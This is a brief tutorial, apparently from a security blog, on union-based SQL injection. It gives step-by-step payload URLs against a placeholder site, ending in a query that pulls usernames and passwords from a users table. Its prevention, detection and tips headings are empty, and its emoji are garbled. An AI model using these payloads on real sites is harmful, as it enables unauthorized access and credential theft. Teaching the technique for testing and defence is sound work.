What is Union-Based SQL Injection?

Union-Based SQL Injection is a technique used to extract data from the database by extending the results of an original query using the UNION SQL operator. It allows an attacker to retrieve information from other tables within the database by appending their own SELECT queries.

๐Ÿ”ง Key Concepts

๐Ÿง  Step-by-Step Guide

Step 1: Identify a vulnerable parameter

Test with a single quote to check for SQL errors:

https://target.site/products.php?id=1'

Step 2: Determine the number of columns

Use ORDER BY or UNION SELECT NULL testing:

https://target.site/products.php?id=1 ORDER BY 3--

Try increasing the number until you get an error.

Step 3: Craft a UNION SELECT statement

https://target.site/products.php?id=1 UNION SELECT null, null, null--

Once the page loads without error, you've found the correct column count.

Step 4: Extract data

https://target.site/products.php?id=1 UNION SELECT username, password, null FROM users--

Replace null with actual data columns from the target table.

๐Ÿ•ต๏ธ Real-World Example

Consider this vulnerable query:

SELECT id, name, price FROM products WHERE id = '$id';

An attacker might inject:

1 UNION SELECT 1, username, password FROM users--

This would display usernames and passwords in the product list if output is not sanitized.

๐Ÿงฉ Detection Techniques

๐Ÿ›ก๏ธ How to Prevent Union-Based SQLi

๐Ÿ’ก Pro Tips

๐Ÿ“š Resources